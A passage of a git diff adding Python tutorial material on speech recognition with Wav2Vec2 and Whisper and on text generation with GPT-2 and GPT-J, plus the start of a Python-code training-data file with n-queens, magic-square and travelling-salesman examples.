+      "metadata": {
+        "id": "2QypuIDAk5QK"
+      },
+      "outputs": [],
+      "source": [
+        "# initialize the pipeline\n",
+        "pipe = pipeline(\"automatic-speech-recognition\", \n",
+        "                model=whisper_model_name, device=device)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 22,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "MwsBPkdSk7jn",
+        "outputId": "96b0582a-0743-45ec-d833-7ca21ffa706d"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "Disabling tokenizer parallelism, we're using DataLoader multithreading already\n"
+          ]
+        }
+      ],
+      "source": [
+        "# get the transcription of a sample long audio file\n",
+        "output = get_long_transcription_whisper(\n",
+        "    \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/", \n",
+        "    pipe, chunk_length_s=10, stride_length_s=1)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 23,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 72
+        },
+        "id": "5xON5pvWlEEK",
+        "outputId": "179d7522-1f09-4176-84bf-5b6f2d85fd28"
+      },
+      "outputs": [
+        {
+          "data": {
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            },
+            "text/plain": [
+              "' The horse trotted around the field at a brisk pace. Find the twin who stole the pearl necklace. Cut the cord that binds the box tightly. The The red tape bound the smuggled food. Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins. The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..'"
+            ]
+          },
+          "execution_count": 23,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "output[\"text\"]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 24,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "AEjVdbKXk96r",
+        "outputId": "0daaf33a-a397-4a6c-dc3f-d56e5b678c83"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "(0.0, 6.0) :  The horse trotted around the field at a brisk pace.\n",
+            "(6.0, 12.8) :  Find the twin who stole the pearl necklace.\n",
+            "(12.8, 21.0) :  Cut the cord that binds the box tightly. The The red tape bound the smuggled food.\n",
+            "(21.0, 38.0) :  Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins.\n",
+            "(38.0, 58.0) :  The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..\n"
+          ]
+        }
+      ],
+      "source": [
+        "for chunk in output[\"chunks\"]:\n",
+        "  # print the timestamp and the text\n",
+        "  print(chunk[\"timestamp\"], \":\", chunk[\"text\"])"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "QsReWl7zlJt9"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "gpuType": "T4",
+      "machine_shape": "hm",
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "1c348712a37045239a35b41430756d4d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ButtonModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ButtonModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ButtonView",
+            "button_style": "",
+            "description": "Record Speech",
+            "disabled": false,
+            "icon": "",
+            "layout": "IPY_MODEL_32d1d0fb4ee748108d01fa01fbfb5473",
+            "style": "IPY_MODEL_8035a1813fce41cfad51849aea43a446",
+            "tooltip": ""
+          }
+        },
+        "32d1d0fb4ee748108d01fa01fbfb5473": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8035a1813fce41cfad51849aea43a446": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ButtonStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ButtonStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "button_color": null,
+            "font_weight": ""
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
new file mode 100644
index 00000000..8cd7f7ba
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py
@@ -0,0 +1,235 @@
+# %%
+!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub
+
+# %%
+from transformers import *
+import torch
+import soundfile as sf
+# import librosa
+import os
+import torchaudio
+
+device = "cuda:0" if torch.cuda.is_available() else "cpu"
+
+# %% [markdown]
+# # Wav2Vec2.0 Models
+# 
+
+# %%
+# wav2vec2_model_name = "facebook/wav2vec2-base-960h" # 360MB
+wav2vec2_model_name = "facebook/wav2vec2-large-960h-lv60-self" # pretrained 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-english" # English-only, 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-arabic" # Arabic-only, 1.26GB
+# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-spanish" # Spanish-only, 1.26GB
+
+wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)
+wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)
+
+# %%
+# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav"
+# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.1.wav"
+# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav"
+# audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav"
+audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav"
+# audio_url = "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav"
+# audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav"
+# audio_url = "http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav"
+
+# %%
+# load our wav file
+speech, sr = torchaudio.load(audio_url)
+speech = speech.squeeze()
+# or using librosa
+# speech, sr = librosa.load(audio_file, sr=16000)
+sr, speech.shape
+
+# %%
+# resample from whatever the audio sampling rate to 16000
+resampler = torchaudio.transforms.Resample(sr, 16000)
+speech = resampler(speech)
+speech.shape
+
+# %%
+# tokenize our wav
+input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device)
+input_values.shape
+
+# %%
+# perform inference
+logits = wav2vec2_model(input_values)["logits"]
+logits.shape
+
+# %%
+# use argmax to get the predicted IDs
+predicted_ids = torch.argmax(logits, dim=-1)
+predicted_ids.shape
+
+# %%
+# decode the IDs to text
+transcription = wav2vec2_processor.decode(predicted_ids[0])
+transcription.lower()
+
+# %%
+def load_audio(audio_path):
+  """Load the audio file & convert to 16,000 sampling rate"""
+  # load our wav file
+  speech, sr = torchaudio.load(audio_path)
+  resampler = torchaudio.transforms.Resample(sr, 16000)
+  speech = resampler(speech)
+  return speech.squeeze()
+
+# %%
+def get_transcription_wav2vec2(audio_path, model, processor):
+  speech = load_audio(audio_path)
+  input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device)
+  # perform inference
+  logits = model(input_features)["logits"]
+  # use argmax to get the predicted IDs
+  predicted_ids = torch.argmax(logits, dim=-1)
+  transcription = processor.batch_decode(predicted_ids)[0]
+  return transcription.lower()
+
+# %%
+get_transcription_wav2vec2("http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav", 
+                           wav2vec2_model, 
+                           wav2vec2_processor)
+
+# %% [markdown]
+# # Whisper Models
+
+# %%
+# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB
+# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB
+# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB
+# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB
+# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB
+# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB
+whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB
+# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB
+
+whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)
+whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)
+
+# %%
+input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features.to(device)
+
+# %%
+forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language="english", task="transcribe")
+
+# %%
+forced_decoder_ids
+
+# %%
+input_features.shape
+
+# %%
+predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+predicted_ids.shape
+
+# %%
+transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)
+transcription
+
+# %%
+transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)
+transcription
+
+# %%
+def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True):
+  # resample from whatever the audio sampling rate to 16000
+  speech = load_audio(audio_path)
+  input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features
+  forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe")
+  # print(forced_decoder_ids)
+  predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)
+  transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]
+  return transcription
+
+# %%
+arabic_transcription = get_transcription_whisper("https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav",
+                          whisper_model,
+                          whisper_processor,
+                          language="arabic",
+                          skip_special_tokens=True)
+arabic_transcription
+
+# %%
+spanish_transcription = get_transcription_whisper("https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3",
+                          whisper_model,
+                          whisper_processor,
+                          language="spanish",
+                          skip_special_tokens=True)
+spanish_transcription
+
+# %%
+from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE 
+# supported languages
+TO_LANGUAGE_CODE 
+
+# %% [markdown]
+# # Transcribe your Voice
+
+# %%
+!git clone -q --depth 1 https://github.com/snakers4/silero-models
+
+%cd silero-models
+
+# %%
+from IPython.display import Audio, display, clear_output
+from colab_utils import record_audio
+import ipywidgets as widgets
+from scipy.io import wavfile
+import numpy as np
+
+
+record_seconds =   20#@param {type:"number", min:1, max:10, step:1}
+sample_rate = 16000
+
+def _record_audio(b):
+  clear_output()
+  audio = record_audio(record_seconds)
+  display(Audio(audio, rate=sample_rate, autoplay=True))
+  wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))
+
+button = widgets.Button(description="Record Speech")
+button.on_click(_record_audio)
+display(button)
+
+# %%
+print("Whisper:", get_transcription_whisper("recorded.wav", whisper_model, whisper_processor))
+print("Wav2vec2:", get_transcription_wav2vec2("recorded.wav", wav2vec2_model, wav2vec2_processor))
+
+# %% [markdown]
+# # Transcribing Long Audio Samples
+
+# %%
+def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, 
+                                   chunk_length_s=10, stride_length_s=2):
+    """Get the transcription of a long audio file using the Whisper model"""
+    return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,
+                  chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)
+
+# %%
+# initialize the pipeline
+pipe = pipeline("automatic-speech-recognition", 
+                model=whisper_model_name, device=device)
+
+# %%
+# get the transcription of a sample long audio file
+output = get_long_transcription_whisper(
+    "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav", 
+    pipe, chunk_length_s=10, stride_length_s=1)
+
+# %%
+output["text"]
+
+# %%
+for chunk in output["chunks"]:
+  # print the timestamp and the text
+  print(chunk["timestamp"], ":", chunk["text"])
+
+# %%
+
+
+
diff --git a/machine-learning/nlp/speech-recognition-transformers/README.md b/machine-learning/nlp/speech-recognition-transformers/README.md
new file mode 100644
index 00000000..37c9ac98
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/README.md
@@ -0,0 +1,5 @@
+# [Speech Recognition using Transformers in Python](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python)
+To get it running:
+- `pip3 install -r requirements.txt`
+
+Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1NwX-czUflXUEMoZNfoKgCQTsjcMKSUul) for more information.
\ No newline at end of file
diff --git a/machine-learning/nlp/speech-recognition-transformers/requirements.txt b/machine-learning/nlp/speech-recognition-transformers/requirements.txt
new file mode 100644
index 00000000..ab309e08
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/requirements.txt
@@ -0,0 +1,5 @@
+transformers==4.28.1
+soundfile
+sentencepiece
+torchaudio
+pyaudio
\ No newline at end of file
diff --git a/machine-learning/nlp/text-classification/requirements.txt b/machine-learning/nlp/text-classification/requirements.txt
index 9758d9e0..30cfbe09 100644
--- a/machine-learning/nlp/text-classification/requirements.txt
+++ b/machine-learning/nlp/text-classification/requirements.txt
@@ -1,4 +1,4 @@
 tqdm
 numpy
-tensorflow==2.0.0
+tensorflow==2.5.3
 sklearn
diff --git a/machine-learning/nlp/text-generation-transformers/README.md b/machine-learning/nlp/text-generation-transformers/README.md
new file mode 100644
index 00000000..5bf2a5ef
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/README.md
@@ -0,0 +1 @@
+# [Text Generation with Transformers in Python](https://www.thepythoncode.com/article/text-generation-with-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb b/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..c5cf4b0c
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb
@@ -0,0 +1,214 @@
+{
+  "nbformat": 4,
+  "nbformat_minor": 0,
+  "metadata": {
+    "colab": {
+      "name": "TextGeneration-Transformers-PythonCodeTutorial.ipynb",
+      "private_outputs": true,
+      "provenance": [],
+      "collapsed_sections": [],
+      "machine_shape": "hm"
+    },
+    "kernelspec": {
+      "name": "python3",
+      "display_name": "Python 3"
+    },
+    "language_info": {
+      "name": "python"
+    }
+  },
+  "cells": [
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "6bjli5Z7ZEVh"
+      },
+      "source": [
+        "!pip install transformers"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "SPADZcRSY-3Y"
+      },
+      "source": [
+        "from transformers import pipeline"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "k0zHPjIkqcEx"
+      },
+      "source": [
+        "# download & load GPT-2 model\n",
+        "gpt2_generator = pipeline('text-generation', model='gpt2')"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "me1PAIvlqwKf"
+      },
+      "source": [
+        "# generate 3 different sentences\n",
+        "# results are sampled from the top 50 candidates\n",
+        "sentences = gpt2_generator(\"To be honest, neural networks\", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)\n",
+        "for sentence in sentences:\n",
+        "  print(sentence[\"generated_text\"])\n",
+        "  print(\"=\"*50)"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "aXI92oauZCD4"
+      },
+      "source": [
+        "# download & load GPT-J model! It's 22.5GB in size\n",
+        "gpt_j_generator = pipeline('text-generation', model='EleutherAI/gpt-j-6B')"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "EaOAqXnXtOI0"
+      },
+      "source": [
+        "# generate sentences with TOP-K sampling\n",
+        "sentences = gpt_j_generator(\"To be honest, robots will\", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)\n",
+        "for sentence in sentences:\n",
+        "  print(sentence[\"generated_text\"])\n",
+        "  print(\"=\"*50)"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "6N5qFdcFZG1v"
+      },
+      "source": [
+        "# generate Python Code!\n",
+        "print(gpt_j_generator(\n",
+        "\"\"\"\n",
+        "import os\n",
+        "# make a list of all african countries\n",
+        "\"\"\",\n",
+        "    do_sample=True, top_k=10, temperature=0.05, max_length=256)[0][\"generated_text\"])"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "-TOTvHiwwbK-"
+      },
+      "source": [
+        "print(gpt_j_generator(\n",
+        "\"\"\"\n",
+        "import cv2\n",
+        "\n",
+        "image = \"image.png\"\n",
+        "\n",
+        "# load the image and flip it\n",
+        "\"\"\",\n",
+        "    do_sample=True, top_k=10, temperature=0.05, max_length=256)[0][\"generated_text\"])"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "_52OftmglAAv"
+      },
+      "source": [
+        "# complete bash script!\n",
+        "print(gpt_j_generator(\n",
+        "\"\"\"\n",
+        "# get .py files in /opt directory\n",
+        "ls *.py /opt\n",
+        "# get public ip address\n",
+        "\"\"\", max_length=256, top_k=50, temperature=0.05, do_sample=True)[0][\"generated_text\"])"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "2x527AykVquF"
+      },
+      "source": [
+        "# generating bash script!\n",
+        "print(gpt_j_generator(\n",
+        "\"\"\"\n",
+        "# update the repository\n",
+        "sudo apt-get update\n",
+        "# install and start nginx\n",
+        "\"\"\", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0][\"generated_text\"])"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "elK4JyyxwCPM"
+      },
+      "source": [
+        "# Java code!\n",
+        "print(gpt_j_generator(\n",
+        "\"\"\"\n",
+        "public class Test {\n",
+        "\n",
+        "public static void main(String[] args){\n",
+        "  // printing the first 20 fibonacci numbers\n",
+        "\"\"\", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0][\"generated_text\"])"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "0US1Tv5xh-F2"
+      },
+      "source": [
+        "# LATEX!\n",
+        "print(gpt_j_generator(\n",
+        "r\"\"\"\n",
+        "% list of Asian countries\n",
+        "\\begin{enumerate}\n",
+        "\"\"\", max_length=128, top_k=15, temperature=0.1, do_sample=True)[0][\"generated_text\"])"
+      ],
+      "execution_count": null,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "metadata": {
+        "id": "clkMMnsgh_YF"
+      },
+      "source": [
+        ""
+      ],
+      "execution_count": null,
+      "outputs": []
+    }
+  ]
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generation-transformers/requirements.txt b/machine-learning/nlp/text-generation-transformers/requirements.txt
new file mode 100644
index 00000000..747b7aa9
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/requirements.txt
@@ -0,0 +1 @@
+transformers
\ No newline at end of file
diff --git a/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py b/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py
new file mode 100644
index 00000000..f96a00a4
--- /dev/null
+++ b/machine-learning/nlp/text-generation-transformers/textgeneration_transformers_pythoncodetutorial.py
@@ -0,0 +1,83 @@
+# -*- coding: utf-8 -*-
+"""TextGeneration-Transformers-PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1OUgJ92vQeFFYatf5gwtGulhA-mFwS0Md
+"""
+
+# !pip install transformers
+
+from transformers import pipeline
+
+# download & load GPT-2 model
+gpt2_generator = pipeline('text-generation', model='gpt2')
+
+# generate 3 different sentences
+# results are sampled from the top 50 candidates
+sentences = gpt2_generator("To be honest, neural networks", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)
+for sentence in sentences:
+  print(sentence["generated_text"])
+  print("="*50)
+
+# download & load GPT-J model! It's 22.5GB in size
+gpt_j_generator = pipeline('text-generation', model='EleutherAI/gpt-j-6B')
+
+# generate sentences with TOP-K sampling
+sentences = gpt_j_generator("To be honest, robots will", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)
+for sentence in sentences:
+  print(sentence["generated_text"])
+  print("="*50)
+
+# generate Python Code!
+print(gpt_j_generator(
+"""
+import os
+# make a list of all african countries
+""",
+    do_sample=True, top_k=10, temperature=0.05, max_length=256)[0]["generated_text"])
+
+print(gpt_j_generator(
+"""
+import cv2
+
+image = "image.png"
+
+# load the image and flip it
+""",
+    do_sample=True, top_k=10, temperature=0.05, max_length=256)[0]["generated_text"])
+
+# complete bash script!
+print(gpt_j_generator(
+"""
+# get .py files in /opt directory
+ls *.py /opt
+# get public ip address
+""", max_length=256, top_k=50, temperature=0.05, do_sample=True)[0]["generated_text"])
+
+# generating bash script!
+print(gpt_j_generator(
+"""
+# update the repository
+sudo apt-get update
+# install and start nginx
+""", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0]["generated_text"])
+
+# Java code!
+print(gpt_j_generator(
+"""
+public class Test {
+
+public static void main(String[] args){
+  // printing the first 20 fibonacci numbers
+""", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0]["generated_text"])
+
+# Commented out IPython magic to ensure Python compatibility.
+# LATEX!
+print(gpt_j_generator(
+r"""
+# % list of Asian countries
+\begin{enumerate}
+""", max_length=128, top_k=15, temperature=0.1, do_sample=True)[0]["generated_text"])
+
diff --git a/machine-learning/nlp/text-generator/README.md b/machine-learning/nlp/text-generator/README.md
index 192a779a..6a4bf2d4 100644
--- a/machine-learning/nlp/text-generator/README.md
+++ b/machine-learning/nlp/text-generator/README.md
@@ -1,4 +1,4 @@
-# [How to Build a Text Generator using Keras in Python](https://www.thepythoncode.com/article/text-generation-keras-python)
+# [How to Build a Text Generator using TensorFlow and Keras in Python](https://www.thepythoncode.com/article/text-generation-keras-python)
 To run this:
 - `pip3 install -r requirements.txt`
 - To use pre-trained text generator model that was trained on Alice's wonderland text book or Python Code:
diff --git a/machine-learning/nlp/text-generator/data/python_code.py b/machine-learning/nlp/text-generator/data/python_code.py
new file mode 100644
index 00000000..084781cf
--- /dev/null
+++ b/machine-learning/nlp/text-generator/data/python_code.py
@@ -0,0 +1,25354 @@
+from constraint import Problem, Domain, AllDifferentConstraint
+import matplotlib.pyplot as plt
+import numpy as np
+
+
+def _get_pairs(variables):
+        work = list(variables)
+        pairs = [ (work[i], work[i+1]) for i in range(len(work)-1) ]
+        return pairs
+
+def n_queens(n=8):
+
+    def not_in_diagonal(a, b):
+        result = True
+        for i in range(1, n):
+            result = result and ( a != b + i )
+        return result
+
+    problem = Problem()
+    variables = { f'x{i}' for i in range(n) }
+    problem.addVariables(variables, Domain(set(range(1, n+1))))
+    problem.addConstraint(AllDifferentConstraint())
+    for pair in _get_pairs(variables):
+        problem.addConstraint(not_in_diagonal, pair)
+    return problem.getSolutions()
+
+
+def magic_square(n=3):
+
+    def all_equal(*variables):
+        square = np.reshape(variables, (n, n))
+        diagonal = sum(np.diagonal(square))
+        b = True
+        for i in range(n):
+            b = b and sum(square[i, :]) == diagonal 
+            b = b and sum(square[:, i]) == diagonal
+        if b:
+            print(square)
+        return b
+
+    problem = Problem()
+    variables = { f'x{i}{j}' for i in range(1, n+1) for j in range(1, n+1) }
+    problem.addVariables(variables, Domain(set(range(1, (n**2 + 2)))))
+    problem.addConstraint(all_equal, variables)
+    problem.addConstraint(AllDifferentConstraint())
+    return problem.getSolutions()
+
+
+
+def plot_queens(solutions):
+    for solution in solutions:
+        for row, column in solution.items():
+            x = int(row.lstrip('x'))
+            y = column
+            plt.scatter(x, y, s=70)
+        plt.grid()
+        plt.show()
+
+if __name__ == "__main__":
+    # solutions = n_queens(n=12)
+    # print(solutions)
+    # plot_queens(solutions)
+
+    solutions = magic_square(n=4)
+    for solution in solutions:
+        print(solution)
+
+
+
+
+import numpy as np
+import random
+import operator
+import pandas as pd
+import matplotlib.pyplot as plt
+import seaborn
+from matplotlib import animation
+from realtime_plot import realtime_plot
+from threading import Thread, Event
+from time import sleep
+
+seaborn.set_style("dark")
+
+stop_animation = Event()
+
+# def animate_cities_and_routes():
+#     global route
+
+#     def wrapped():
+#         # create figure
+#         sleep(3)
+#         print("thread:", route)
+#         figure = plt.figure(figsize=(14, 8))
+#         ax1 = figure.add_subplot(1, 1, 1)
+
+#         def animate(i):
+#             ax1.title.set_text("Real time routes")
+#             for city in route:
+#                 ax1.scatter(city.x, city.y, s=70, c='b')
+
+#             ax1.plot([ city.x for city in route ], [city.y for city in route], c='r')
+            
+#         animation.FuncAnimation(figure, animate, interval=100)
+#         plt.show()
+#     t = Thread(target=wrapped)
+#     t.start()
+
+def plot_routes(initial_route, final_route):
+    _, ax = plt.subplots(nrows=1, ncols=2)
+
+    for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]):
+        col.title.set_text(route[0])
+        route = route[1]
+        for city in route:
+            col.scatter(city.x, city.y, s=70, c='b')
+
+        col.plot([ city.x for city in route ], [city.y for city in route], c='r')
+        col.plot([route[-1].x, route[0].x], [route[-1].x, route[-1].y])
+    
+    plt.show()
+
+def animate_progress():
+    global route
+    global progress
+    global stop_animation
+
+    def animate():
+        # figure = plt.figure()
+        # ax1 = figure.add_subplot(1, 1, 1)
+        figure, ax1 = plt.subplots(nrows=1, ncols=2)
+        while True:
+
+            ax1[0].clear()
+            ax1[1].clear()
+
+            # current routes and cities
+            ax1[0].title.set_text("Current routes")
+            
+
+            for city in route:
+                ax1[0].scatter(city.x, city.y, s=70, c='b')
+
+            ax1[0].plot([ city.x for city in route ], [city.y for city in route], c='r')
+            ax1[0].plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r')
+
+            # current distance graph
+            ax1[1].title.set_text("Current distance")
+            ax1[1].plot(progress)
+            ax1[1].set_ylabel("Distance")
+            ax1[1].set_xlabel("Generation")
+
+            plt.pause(0.05)
+
+
+            if stop_animation.is_set():
+                break
+        plt.show()
+
+    Thread(target=animate).start()
+
+
+class City:
+    def __init__(self, x, y):
+        self.x = x
+        self.y = y
+
+    def distance(self, city):
+        """Returns distance between self city and city"""
+        x = abs(self.x - city.x)
+        y = abs(self.y - city.y)
+        return np.sqrt(x ** 2 + y ** 2)
+
+    def __sub__(self, city):
+        return self.distance(city)
+
+    def __repr__(self):
+        return f"({self.x}, {self.y})"
+
+    def __str__(self):
+        return self.__repr__()
+
+
+class Fitness:
+    def __init__(self, route):
+        self.route = route
+
+    def distance(self):
+        distance = 0
+        for i in range(len(self.route)):
+            from_city = self.route[i]
+            to_city = self.route[i+1] if i+i < len(self.route) else self.route[0]
+            distance += (from_city - to_city)
+        return distance
+
+    def fitness(self):
+        return 1 / self.distance()
+
+
